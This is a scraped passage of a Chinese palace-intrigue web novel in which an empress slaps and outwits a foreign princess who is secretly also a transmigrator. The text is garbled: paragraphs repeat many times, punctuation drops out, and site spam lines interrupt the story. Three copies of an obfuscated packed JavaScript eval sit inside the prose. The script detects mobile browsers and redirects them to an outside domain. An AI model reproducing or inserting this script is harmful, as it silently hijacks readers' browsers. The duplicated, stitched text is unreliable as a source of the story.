“放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?”飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。”玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。”云清婳动了动手指,示意众人离开。 “臣妾告退。”众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。”玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?”魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。” “好啊。”云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。” 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。” 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?”玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?”飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。”玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 过云清婳不仅没答应,还当众把她嘲讽了一顿。 扑哧—— 好几个后妃忍不住笑出了声。 “行了,既然没有其他事,就退下吧。”云清婳动了动手指,示意众人离开。 “臣妾告退。”众人跪下行礼。 玉容抬眸,看着上首的人,眼里满是不甘。 她咽不下这口恶气。 “娘娘,为了两国邦交,还请您给臣妾重新分个住处吧。”玉容跪地不起。 她不能输,输了这一次,就奠定了她低云清婳一头的基调。 第一次交锋,一定不能输。 云清婳的眸子幽幽的,她漠然垂眼,就像在看一只蝼蚁。 玉容的心思在她面前昭然若揭。 “容嫔慎言!你在用迟国威胁皇后娘娘不成?”魏娴的细眉一挑,眉眼变得凌厉。 玉容摇摇头,“臣妾不敢,臣妾只是说出想说的话罢了。” “好啊。”云清婳地递给魏娴一个眼色,示意她不用出面,“既然容嫔愿望强烈,我也不好说什么,日后你就独自住在红杏斋吧。” 玉容松了口气,这场博弈,她暂时领先了。“多谢皇后娘娘体恤,臣妾与迟国都会记得您的恩德。” 但很快,她意识到了不对。 周围的嫔妃、宫女都咬着下唇,忍俊不禁地悄悄看她,就像在看一个小丑。 “皇后娘娘,敢问红杏斋在何处?”玉容后知后觉地问出最重要的问题。 云清婳歪着脑袋,端起茶水,刮了刮上面的浮沫。 “放肆!容嫔一而再再而三地挑三拣四,问东问西,你当皇宫是菜市场吗?容得你讨价还价?皇后娘娘已经一再迁就与您,您还想怎样?”飞霜走上前,不卑不亢,字字铿锵有力。 “臣妾不敢,臣妾只是想问问。”玉容垂下脑袋,做出一副受辱的模样。 另一个资质老的嫔妃鄙夷的开口:“雷霆雨露,皆是君恩,只要是皇后娘娘给的,便都是赏赐,有什么好问的?公主竟这般不懂规矩,真让人怀疑迟国是不是荒蛮之地,没有礼法!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第384章 东窗事发后,怎么办? 玉容的脸都涨红了,她咬紧了后槽牙。 为何这群贱妇都不畏惧迟国,她们不怕影响两国邦交吗? 一群无知蠢货! “臣妾知道了。”玉容缩了缩肩膀,像是遇上了洪水猛兽。 仿佛这满室都是妖怪,唯有她是不染纤尘的小白莲。 云清婳的嘴角勾出一抹弧度。 很好! 她的眼光没错,能上位的都是拎得清的。 就在人快走尽时,云清婳看见了陆才人、黄雨绵,她们还跪在角落。 “你们为何还不走?”飞霜走上前斥道。 陆才人挤出殷勤的笑,“飞霜姑娘,方才皇后娘娘说让容嫔一人住在红杏斋,敢问妾身跟黄采女住在何处?” “敢问妾身是不是可以搬回原住处了?”黄雨绵喜出望外,眼中闪烁着星子。 云清婳轻笑了声,就像听到了天大的笑话。 “多嘴多舌,屡教不改,你们说,本宫应该拿你们怎么办才好呢?”云清婳吹了吹指甲。 陆才人、黄雨绵的瞳孔一震。 “妾身不敢了,妾身不敢了……”因为心虚,黄雨绵的眼泪瞬间落下,她咚咚咚地磕头。 陆才人还算镇定,她肚子怀着皇嗣。 就算云清婳气急了,也不敢拿孩子出气。 “皇后娘娘,方才都是妾身嘴贱,妾身只是随口说说……”陆才人抬起巴掌,装模作样地扇自己的脸,“妾身嘴贱,还请娘娘饶命啊。” 黄雨绵也跟着掌掴自己,“娘娘恕罪,妾身再也不敢了……” 云清婳眼中的杀意加深,但面上还挂着笑,“你们的反应怎么这么大?看来方才你们的确做了亏心事。” “主子,奴婢都听得一清二楚,方才她们两个一唱一和,故意在容嫔面前落您的面子。”飞霜面无表情,操着公事公办的口吻。 她缓缓点头,“对,本宫想起来了。你们帮着容嫔故意膈应本宫,居心何在?以为认二郎神当主人,自己就是哮天犬了?” “只可惜,你们的新主子不是二郎神,而是跟你们一样的**。” 陆才人、黄雨绵的身子止不住地颤抖,二人抖成了筛糠,哭着点头,“是……” 魏娴站在一旁,她低 声问:“蛮蛮这二人要怎么处置?” “我放过她们一次了没有第二次了。”云清婳将胳膊搭在椅臂上食指指尖有一搭没一搭地轻扣红木。 她本来就是恶女不要跟她说什么惩戒太恶毒了。 跟坏人讲慈悲、大度不是搞笑吗? 如今她不想演了所以就要用她的方式来处理问题了! 谁惹她不快她就直接按死! 不留任何隐患! “为了给你们的新主子腾位置只能委屈你们了。”她的眼底跳跃着杀戮的兴奋嘴角的笑弧越来越大“黄采女赐杖毙至于陆才人……” “不要不要……”黄雨绵激动地大喊“我要见太后我要见皇上……皇后娘娘您不能草菅人命妾身只是多嘴了两句而已!” “不要啊我要见太后太后救我……” 黄雨绵从地上爬起来就要往外跑。 福松跟几个太监联合起来将她制服把她的嘴堵住 很快坤宁宫恢复了往常的寂静。 仿佛方才的一切都没有发生。 陆才人满脸汗涔涔的她的脸色煞白哪还有方才半点仰仗皇胎的得意模样。 她的背弯成了虾子惊恐、恭敬地看着云清婳“皇后娘娘妾身还怀着皇嗣啊妾身日后不敢了妾身真的知道错了。” “皇后娘娘妾身方才只是无心之言妾身愚笨……” 云清婳讥诮的轻哼。 她跟陆才人的恩怨很早以前就开始了。 在肃王府时陆才人仗着有几分姿色便处处与她作对。 陆家本就与苏家交好她一开始是跟着苏灵音的每次苏灵音犯贱都少不了她的推波助澜。 怎么能忍? “没记错的话你的肚子也到九个月了吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她为什么要遮掩一辈子? 事到如今,云家跟裴墨染已经深深捆绑,他们还有了两个众望所归,被称为“麒麟子”的孩子。 承基也被先皇下了口谕,将来继承皇位。 等大仇得报,能保住荣华富贵,家人平安就够了。 至于跟裴墨染的情分,她从没想过维系。 断了就断了。 裴墨染若是想要维系,最好装作什么事都没发生,倘若他不想维系,那更好! 他们当表面夫妻就行。 魏娴眼神复杂地看着云清婳,她忽然觉得蛮蛮有些癫狂……她似乎有些不认识她了。 “我来善后!无论如何,承基还没继位,不可马虎。”魏娴匆匆走下去。 云清婳看着魏娴的背影,上扬的嘴角渐渐形成一字。 “贤妃娘娘为了您,真是用心了。”飞霜叹了一声。 她叹了一声,“没用的,只要裴墨染想查,总能查到。” 真相就像悬在头顶的剑,剑不落下,总让人不安。 云清婳反倒希望这柄剑快点落下。 她期待裴墨染的反应。 …… 魏娴放出消息,说陆才人在坤宁宫请安时不小心,摔跤早产了。 陆才人或许是知道自己死期将近,她在惊惧、分娩镇痛的折磨下难产了。 她足足分娩了一日,从白天到晚上才诞下了皇子。 最后她脱了力,难产而亡。 裴墨染知晓此事后,没什么反应,他看过孩子后,念着陆才人生产有功,命人将她厚葬了。 …… 深夜,坤宁宫灯火通明。 云清婳穿着桃色亵衣,坐在榻前,她伸出双手在紫金雕鹤炉前烤火。 里面烧的都是上好的红罗炭,无烟无味,火力旺盛。 温暖的炉火将她的脸蛋、耳朵暖得红扑扑的。 “查出来了吗?”她问。 飞霜拿了两个橘子,放在火炉上炙着,“咱们的商队没查出什么大事,听说玉容在迟国只是一个不受宠的婕妤的女儿。半年前她 落水被救起来之后性情大变。” “嗯?”云清婳眼前一亮。 “据说她从畏畏缩缩变得能说会道还做出了稀奇古怪的小玩意、小点心把迟国皇帝哄得心花怒放。对了她还预言了几件事都说对了。” 云清婳的眼中升起疑惑“她预言了什么?” “不是迟国的事都是大昭的事商队说她预言了裴玉珠篡位以及她篡位失败的事还预言皇上要改革的事情。”飞霜扳着手指道。 云清婳有种醍醐灌顶拨开迷雾看见真相之感。 玉容的经历像什么? 像极了穿书之人! 她不能窥见迟国的事是因为这本小说是围绕裴墨染跟姐姐展开的所以玉容只知道大昭的事情。 “你觉不觉得玉容有种似曾相识的感觉?”云清婳的表情变得严肃。 飞霜眯着眼回忆了下她先是摇头随后又点头她笑道:“是有些熟悉她今日想瞪人却又不敢瞪丑态毕露。得罪咱们的蠢货都是这个样。” 云清婳的双眼深不见底她望着炉火出神。 有一件事她想不通玉容作为穿书者为何对她的怨气这么大? 作为穿书者想把她取而代之抢走皇后之位的心思她可以理解。 可玉容看她的眼神似乎还夹杂着其他情绪。 “主子我听见声音了皇上的倚仗快来了。”飞霜摇了摇她的肩膀。 云清婳瞬间收了神她的双眼炯炯有神警觉起来。 陆才人的事也不知裴墨染有没有听到风声。 “主子在担心皇上知道真相?”飞霜问。 她的眼中跳动着兴奋“我倒希望裴墨染发现真相他自己发现心里有个铺垫总比别人告诉他好难道不是吗?” 飞霜暗叹她的缜密。 吱呀—— 门被推开。 裴墨染轻手轻脚走进来看见云清婳还没睡他快步走到她身边“今日是不是吓到了?” “……”云清婳面露疑惑。 他炙热的大掌握住她的手“陆才人今日在你这里摔跤你吓坏了吧?别怕 云清婳的心头爬上失望。 所以 他什么都没发现? “除了这个,夫君没听到其他风声?”她问。 裴墨染顿了顿,他道:“那个玉容惹你不快了吧?不必有顾忌,她若对你不敬,你只管罚。” 她阴阳怪气道:“别人今日可是拿出了两国邦交压我,我哪敢啊?” 裴墨染登时恼了,“她真这么说?” “迟国只是一个芝麻绿豆小国,还没大昭边陲的一个郡县大,何来邦交?大昭不攻打它,只是国库不充盈罢了。 那个疯女人,一点自知之明都没有。将来若是兴起战事,我第一个灭了它!” 云清婳递给他两个橘子,示意他剥,“夫君不许好战,百姓没余钱交税!” “我知道,我要把江山经营好,将来交到咱们儿子手里。”裴墨染蹲在她身前,熟稔地剥橘子,“今日的药喝了吗?” 她颔首,“喝了。” 他似笑非笑,眼神带着不易察觉的邪气,“当真?” “不信你去问飞霜啊。”云清婳指着门外。 “何必去问?我检查下就知道了。”语毕,他探着脖子,吻上她的唇瓣。 唇齿纠缠,暧昧氛围节节攀升。 云清婳的轻推着他的肩膀,可换来他的更热烈的吻,掠夺她的呼吸。 吻毕,云清婳呼呼喘着气,她的脸蛋涨得绯红。 橘子她也没心情吃了,看见裴墨染就来气。 “娘子的身子是不是暖和了?”裴墨染一脸邀功的表情,得了便宜还卖乖,“不必谢我,这是为夫该做的。” 她剜了他一眼,“滚去沐浴!” “遵命。”他走前,趁机在云清婳脸上亲了一口。 云清婳捂着脸,又恼又无奈,“臭不要脸!” 裴墨染心情不错,蛮蛮骂他,在他这里跟夸她差不多。 …… 另一边。 红杏斋。 玉容搬进来才知道这里靠近冷宫,别说皇上,就算是宫女、太监都甚少来此。 她气红了眼,当即想要搬回钟粹宫。 可陈如燕说什么也不答应,命宫女、太监在外面拦着。 你的朋友正在书荒,快去帮帮他吧 他什么都没发现? “除了这个,夫君没听到其他风声?她问。 裴墨染顿了顿,他道:“那个玉容惹你不快了吧?不必有顾忌,她若对你不敬,你只管罚。 她阴阳怪气道:“别人今日可是拿出了两国邦交压我,我哪敢啊? 裴墨染登时恼了,“她真这么说? “迟国只是一个芝麻绿豆小国,还没大昭边陲的一个郡县大,何来邦交?大昭不攻打它,只是国库不充盈罢了。 那个疯女人,一点自知之明都没有。将来若是兴起战事,我第一个灭了它! 云清婳递给他两个橘子,示意他剥,“夫君不许好战,百姓没余钱交税! “我知道,我要把江山经营好,将来交到咱们儿子手里。裴墨染蹲在她身前,熟稔地剥橘子,“今日的药喝了吗? 她颔首,“喝了。 他似笑非笑,眼神带着不易察觉的邪气,“当真? “不信你去问飞霜啊。云清婳指着门外。 “何必去问?我检查下就知道了。语毕,他探着脖子,吻上她的唇瓣。 唇齿纠缠,暧昧氛围节节攀升。 云清婳的轻推着他的肩膀,可换来他的更热烈的吻,掠夺她的呼吸。 吻毕,云清婳呼呼喘着气,她的脸蛋涨得绯红。 橘子她也没心情吃了,看见裴墨染就来气。 “娘子的身子是不是暖和了?裴墨染一脸邀功的表情,得了便宜还卖乖,“不必谢我,这是为夫该做的。 她剜了他一眼,“滚去沐浴! “遵命。 云清婳捂着脸,又恼又无奈,“臭不要脸! 裴墨染心情不错,蛮蛮骂他,在他这里跟夸她差不多。 …… 另一边。 红杏斋。 玉容搬进来才知道这里靠近冷宫,别说皇上,就算是宫女、太监都甚少来此。 她气红了眼,当即想要搬回钟粹宫。 可陈如燕说什么也不答应,命宫女、太监在外面拦着。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他什么都没发现? “除了这个夫君没听到其他风声?”她问。 裴墨染顿了顿他道:“那个玉容惹你不快了吧?不必有顾忌她若对你不敬你只管罚。” 她阴阳怪气道:“别人今日可是拿出了两国邦交压我我哪敢啊?” 裴墨染登时恼了“她真这么说?” “迟国只是一个芝麻绿豆小国还没大昭边陲的一个郡县大何来邦交?大昭不攻打它只是国库不充盈罢了。 那个疯女人一点自知之明都没有。将来若是兴起战事我第一个灭了它!” 云清婳递给他两个橘子示意他剥“夫君不许好战百姓没余钱交税!” “我知道我要把江山经营好将来交到咱们儿子手里。”裴墨染蹲在她身前熟稔地剥橘子“今日的药喝了吗?” 她颔首“喝了。” 他似笑非笑眼神带着不易察觉的邪气“当真?” “不信你去问飞霜啊。”云清婳指着门外。 “何必去问?我检查下就知道了。”语毕他探着脖子吻上她的唇瓣。 唇齿纠缠暧昧氛围节节攀升。 云清婳的轻推着他的肩膀可换来他的更热烈的吻掠夺她的呼吸。 吻毕云清婳呼呼喘着气她的脸蛋涨得绯红。 橘子她也没心情吃了看见裴墨染就来气。 “娘子的身子是不是暖和了?”裴墨染一脸邀功的表情得了便宜还卖乖“不必谢我这是为夫该做的。” 她剜了他一眼“滚去沐浴!” “遵命。”他走前趁机在云清婳脸上亲了一口。 云清婳捂着脸 裴墨染心情不错蛮蛮骂他在他这里跟夸她差不多。 …… 另一边。 红杏斋。 玉容搬进来才知道这里靠近冷宫别说皇上就算是宫女、太监都甚少来此。 她气红了眼当即想要搬回钟粹宫。 可陈如燕说什么也不答应命宫女、太监在外面拦着。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他什么都没发现? “除了这个,夫君没听到其他风声?她问。 裴墨染顿了顿,他道:“那个玉容惹你不快了吧?不必有顾忌,她若对你不敬,你只管罚。 她阴阳怪气道:“别人今日可是拿出了两国邦交压我,我哪敢啊? 裴墨染登时恼了,“她真这么说? “迟国只是一个芝麻绿豆小国,还没大昭边陲的一个郡县大,何来邦交?大昭不攻打它,只是国库不充盈罢了。 那个疯女人,一点自知之明都没有。将来若是兴起战事,我第一个灭了它! 云清婳递给他两个橘子,示意他剥,“夫君不许好战,百姓没余钱交税! “我知道,我要把江山经营好,将来交到咱们儿子手里。裴墨染蹲在她身前,熟稔地剥橘子,“今日的药喝了吗? 她颔首,“喝了。 他似笑非笑,眼神带着不易察觉的邪气,“当真? “不信你去问飞霜啊。云清婳指着门外。 “何必去问?我检查下就知道了。语毕,他探着脖子,吻上她的唇瓣。 唇齿纠缠,暧昧氛围节节攀升。 云清婳的轻推着他的肩膀,可换来他的更热烈的吻,掠夺她的呼吸。 吻毕,云清婳呼呼喘着气,她的脸蛋涨得绯红。 橘子她也没心情吃了,看见裴墨染就来气。 “娘子的身子是不是暖和了?裴墨染一脸邀功的表情,得了便宜还卖乖,“不必谢我,这是为夫该做的。 她剜了他一眼,“滚去沐浴! “遵命。他走前,趁机在云清婳脸上亲了一口。 云清婳捂着脸,又恼又无奈,“臭不要脸! 裴墨染心情不错,蛮蛮骂他,在他这里跟夸她差不多。 …… 另一边。 红杏斋。 玉容搬进来才知道这里靠近冷宫,别说皇上,就算是宫女、太监都甚少来此。 她气红了眼,当即想要搬回钟粹宫。 可陈如燕说什么也不答应,命宫女、太监在外面拦着。 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16485880|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的朋友正在书荒,快去帮帮他吧 他什么都没发现? “除了这个,夫君没听到其他风声?她问。 裴墨染顿了顿,他道:“那个玉容惹你不快了吧?不必有顾忌,她若对你不敬,你只管罚。 她阴阳怪气道:“别人今日可是拿出了两国邦交压我,我哪敢啊? 裴墨染登时恼了,“她真这么说? “迟国只是一个芝麻绿豆小国,还没大昭边陲的一个郡县大,何来邦交?大昭不攻打它,只是国库不充盈罢了。 那个疯女人,一点自知之明都没有。将来若是兴起战事,我第一个灭了它! 云清婳递给他两个橘子,示意他剥,“夫君不许好战,百姓没余钱交税! “我知道,我要把江山经营好,将来交到咱们儿子手里。裴墨染蹲在她身前,熟稔地剥橘子,“今日的药喝了吗? 她颔首,“喝了。 他似笑非笑,眼神带着不易察觉的邪气,“当真? “不信你去问飞霜啊。云清婳指着门外。 “何必去问?我检查下就知道了。语毕,他探着脖子,吻上她的唇瓣。 唇齿纠缠,暧昧氛围节节攀升。 云清婳的轻推着他的肩膀,可换来他的更热烈的吻,掠夺她的呼吸。 吻毕,云清婳呼呼喘着气,她的脸蛋涨得绯红。 橘子她也没心情吃了,看见裴墨染就来气。 “娘子的身子是不是暖和了? 她剜了他一眼,“滚去沐浴! “遵命。他走前,趁机在云清婳脸上亲了一口。 云清婳捂着脸,又恼又无奈,“臭不要脸! 裴墨染心情不错,蛮蛮骂他,在他这里跟夸她差不多。 …… 另一边。 红杏斋。 玉容搬进来才知道这里靠近冷宫,别说皇上,就算是宫女、太监都甚少来此。 她气红了眼,当即想要搬回钟粹宫。 可陈如燕说什么也不答应,命宫女、太监在外面拦着。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他什么都没发现? “除了这个,夫君没听到其他风声?”她问。 裴墨染顿了顿,他道:“那个玉容惹你不快了吧?不必有顾忌,她若对你不敬,你只管罚。” 她阴阳怪气道:“别人今日可是拿出了两国邦交压我,我哪敢啊?” 裴墨染登时恼了,“她真这么说?” “迟国只是一个芝麻绿豆小国,还没大昭边陲的一个郡县大,何来邦交?大昭不攻打它,只是国库不充盈罢了。 那个疯女人,一点自知之明都没有。将来若是兴起战事,我第一个灭了它!” 云清婳递给他两个橘子,示意他剥,“夫君不许好战,百姓没余钱交税!” “我知道,我要把江山经营好,将来交到咱们儿子手里。”裴墨染蹲在她身前,熟稔地剥橘子,“今日的药喝了吗?” 她颔首,“喝了。” 他似笑非笑,眼神带着不易察觉的邪气,“当真?” “不信你去问飞霜啊。”云清婳指着门外。 “何必去问?我检查下就知道了。”语毕,他探着脖子,吻上她的唇瓣。 唇齿纠缠,暧昧氛围节节攀升。 云清婳的轻推着他的肩膀,可换来他的更热烈的吻,掠夺她的呼吸。 吻毕,云清婳呼呼喘着气,她的脸蛋涨得绯红。 橘子她也没心情吃了,看见裴墨染就来气。 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“公主,不如咱们明日去求求皇上?让皇上给咱们换个寝殿?”婢女晚香说到。 玉容颔首,她的双眼如同毒蛇般阴毒。 这一次,她一定要夺回属于她的一切,弄死云清婳。 “我明白了,云清婳会做火器,她也是穿书的。”她分析着。 晚香凝眉,“公主?您方才说……什么?” “没什么。”玉容谨慎地收起狠厉的表情,挤出笑意。 …… 第二日,玉容听闻裴墨染下朝,便拎着鸡汤在御书房外求见。 彼时,云清婳正带着孩子给裴墨染送茶点。 裴墨染笑看着他们母子三人,眼神柔和,“蛮蛮想我了?” 她乜了他一眼,“是孩子非要找你,我带他们过来罢了。” “找爹爹什么事?嗯?”裴墨染将承基、辞忧抱进怀里。 话音刚落,承基就嘟着嘴,他抱着胳膊,脸扭到一边去了。 裴墨染忍笑,他抬眼看向云清婳。 云清婳的老脸一红。 好吧,她承认,承基真的很像她。 小动作都一模一样。 “爹爹,你答应今日要带我们放风筝的。”辞忧睁着水灵灵的葡萄眼,委屈的看着他,鼻尖泛着粉。 她粉雕玉琢,看起来漂亮极了,湿漉漉的眼眸让人心疼。 裴墨染这才想起来之前的确答应过,但最近政务繁忙,所以忘记了。 他一愣,为难地看向云清婳。 “你自己答应孩子的事,你自己跟他们商量吧。”云清婳夹了他一眼。 裴墨染看着面前堆积如山的奏折,抱歉地看着两个孩子,“承基、辞忧……” “爹爹要出尔反尔了对不对?”承基道。 云清婳跟裴墨染有些惊讶。 小家伙都会用成语了呢。 辞忧的小嘴撅得都快能挂酱油壶了,眼泪在眼眶打转,“皇爷爷骗人,爹爹也骗人,你们都欺负小孩……” 裴墨染有些愧疚。 他求救地看向云清婳。 “爹爹不会骗人的,只是爹爹有 点忙,娘亲先陪你们放风筝,爹爹下次陪你们放好不好?”云清婳耐着性子哄道。 两个小奶包不情不愿地点头。 承基抱着胳膊,一副商量的语气,“娘亲,能不能换个爹爹啊?” “嗯!换一个吧!”辞忧很认同哥哥的话。 云清婳:??? 裴墨染:??? 王显吓得扑通一声跪在地上,脑袋紧紧贴着地面。 天啊! 这话太大逆不道了! “呵呵……”云清婳扑哧笑出了声。 裴墨染瞪了云清婳一眼,他的脸陡然阴沉。 他在承基的屁股上轻拍了下,“你们想换爹,我还想换孩子呢!两个大逆不道的东西!” 承基捂着屁股,嗷的一嗓子哭了。 他扑到云清婳的腿上,哭得撕心裂肺,“呜呜呜……娘亲,好疼啊……” 裴墨染瞪圆了眼,他连忙解释:“蛮蛮,你方才看见了对吧?我没用力,这小子从小就会装!你千万别信!” 闻言,承基哭得更惨了,声音盖过了裴墨染。 “……”云清婳自然都看见了。 承基这孩子,打小就茶! 她的拳头早就硬了,但本着慈母的原则,还是弯下腰给承基揉揉屁股。 辞忧撅着小嘴,不服地争辩:“我不是东西!” 云清婳:??? 裴墨染:??? 这孩子,好端端骂自己干嘛? 辞忧似乎意识到了不对,她挠挠后脑勺,“我是东西?我不是东西……我是东西?我不是东西……” 云清婳、裴墨染同时笑了。 御书房乱成一团,鸡飞狗跳。 奏折是没法批了,外面还有一群臣子等着召见,案前的奏折堆积成山。 裴墨染有点崩溃,他放下笔,靠在龙椅上,无奈地看着云清婳。 他掐着嗓子,学着承基,“娘子~我也不活了~” 云清婳起了一身的鸡皮疙瘩。 狗男人,膈应谁呢? “都给我闭嘴!”云清婳一声令下,三个人瞬间安静了。 “还放不放风筝了?”她垂着眼,不咸不淡的问。 承基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493940|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、辞忧点点头。 “那就走,别整日闹你们爹。云清婳弯下腰,牵着他们的小肉手就走。 你们爹在给你们打工呢,能不能别捣乱? 云清婳忽然回头,她瞪了裴墨染一眼,“做不到的事情,就不要答应孩子。 裴墨染点头如捣蒜。 王显不由得在心里感叹。 皇后娘娘把三父子吃得死死的。 一出御书房,云清婳迎面就看见了在外等候的重臣,以及台阶下被拦住的玉容。 诸葛贤、靖王、祝国公,曾经的副将都被封为各部的将军,九皇子被封为宁王。 “见过皇后娘娘、太子殿下、辞忧公主。几人整齐地行礼。 “诸葛先生,各位将军,两位王爷好久不见了。云清婳含着端庄的笑。 “诸葛先生,叔叔们好。承基、辞忧礼貌地打招呼。 丝毫没有方才在御书房中任性的模样。 云清婳觉得他们这一点极好,知道在什么山头,唱什么歌。 “两位殿下抬举了。众人看他们的眼神带着宠溺。 王显跟了出来,“各位大人、王爷,皇上宣你们进去。 “是。 一行人进去后,门再次阖上。 玉容迫不及待地提着食盒上前,“敢问公公,我可以进去了吗? 王显的白眼都快翻上天了,“容嫔娘娘,您就别为难奴才了,御书房重地,岂是随便能进的? “可是……玉容不甘的瞥着云清婳。 她想说什么,显而易见。 王显夹了她一眼,“容嫔娘娘的心意,陛下收到了,您请回吧。陛下对待政务向来严肃,必不会在御书房中用膳。 云清婳讥诮的瞥了她一眼,牵着孩子离开。 玉容心中的怒火熊熊升起,凭什么云清婳可以进,却不让她进? 还有,她可是公主,凭什么她只被封了嫔位? 这一定都是云清婳从中作梗! 玉容快步跟了上去,她红着眼道:“皇后娘娘,您一定要这么针对臣妾吗? 云清婳的身子一顿,她不明白玉容是怎么得出这个结论的。 “容嫔昏了头就去太医院,不要在本宫面前犯浑。云清婳讽刺。 第387章 皇后娘娘好剽悍 “难道不是吗?自妾身在万寿节露面,您便处处给妾身难堪。玉容一字一顿。 飞霜正欲呵斥,云清婳就用眼神制止住了她,“先带孩子去御花园。 她不想在孩子面前露出负面情绪。 “是。飞霜牵着孩子的手。 云清婳挤出温柔的笑,“娘亲跟容嫔说说话,你们先去,娘亲很快就追上你们。 “好。承基、辞忧点头。 他们乖乖跟着飞霜先走,走了几步,他们突然回头,阴恻恻地看着玉容。 那种森冷的眼神,不像四岁的孩子应该露出的。 但这些没人察觉到。 “容嫔究竟想说什么?别耽误本宫陪孩子。云清婳不耐烦道。 也不知是哪个字眼刺激到了玉容,她的双眼泛红,她道:“皇后娘娘不会是嫉妒妾身出生高贵吧?是啊,您虽然是什么京城第一贵女,但比起公主身份还是差一大截。 “你嫉妒妾身被上天眷顾,是圣女,所以给妾身使绊子,不想让皇上宠爱妾身。 福松听不下去了,他怒道:“好大的口气!什么圣女?蕞尔小国妖言惑众,还有脸在皇后娘娘面前蹦跶? 云清婳懒得纠缠,她抬腿想走,可玉容再次拦住她。 “皇后娘娘倘若真的不担心,为何不让妾身见皇上?她咄咄逼人。 云清婳叹了口气,总有人逼她当坏人。 她不耐烦地递给福松一个眼色。 福松扬起巴掌就往玉容脸上甩。 可玉容早有预料般,一把接住了福松的手腕,她冷笑:“皇后娘娘眼里还有没有宫规王法?这里可是御书房,你怎敢让奴才……啊…… 啪—— 清脆的巴掌声在御书房外回荡。 玉容被打懵了。 她没想过云清婳这么大胆,居然敢在大庭广众之下,在御书房外动手。 趁众人还没反应过来,啪—— 云清婳又在玉容右脸上打了一巴掌。 两边打了个对称的五指印。 她爽了。 同时,清脆的巴掌声传进了御书房。 裴墨染的眉心跳了跳。 靖王情不自禁地搓了搓了左脸,他好像牙酸了 。 诸葛贤以及几个将军肝颤。 皇后娘娘真是剽悍。 “真是便宜她了。”裴墨染小声嘀咕。 御书房外。 “怎么样?满意了吗?”云清婳吹了吹手上并不存在的灰尘。 玉容的眼泪在眼眶里打转她恨不得冲上去撕了云清婳但晚香及时拉住了她。 “公主人在屋檐下不得不低头别冲动啊。”晚香小声提醒。 玉容的眼泪簌簌地流“皇后娘娘太过分了您怎能打我?您打了我便是打了迟国迟国必不会善罢甘休!” “一个千里迢迢被送过来的礼物罢了怎么?你不会想说迟国会为了你跟大昭开战?”云清婳奚落着“过了这么久你怎么还是一点长进都没有?倘若你父皇真的爱你怎舍得将你远嫁来和亲?” 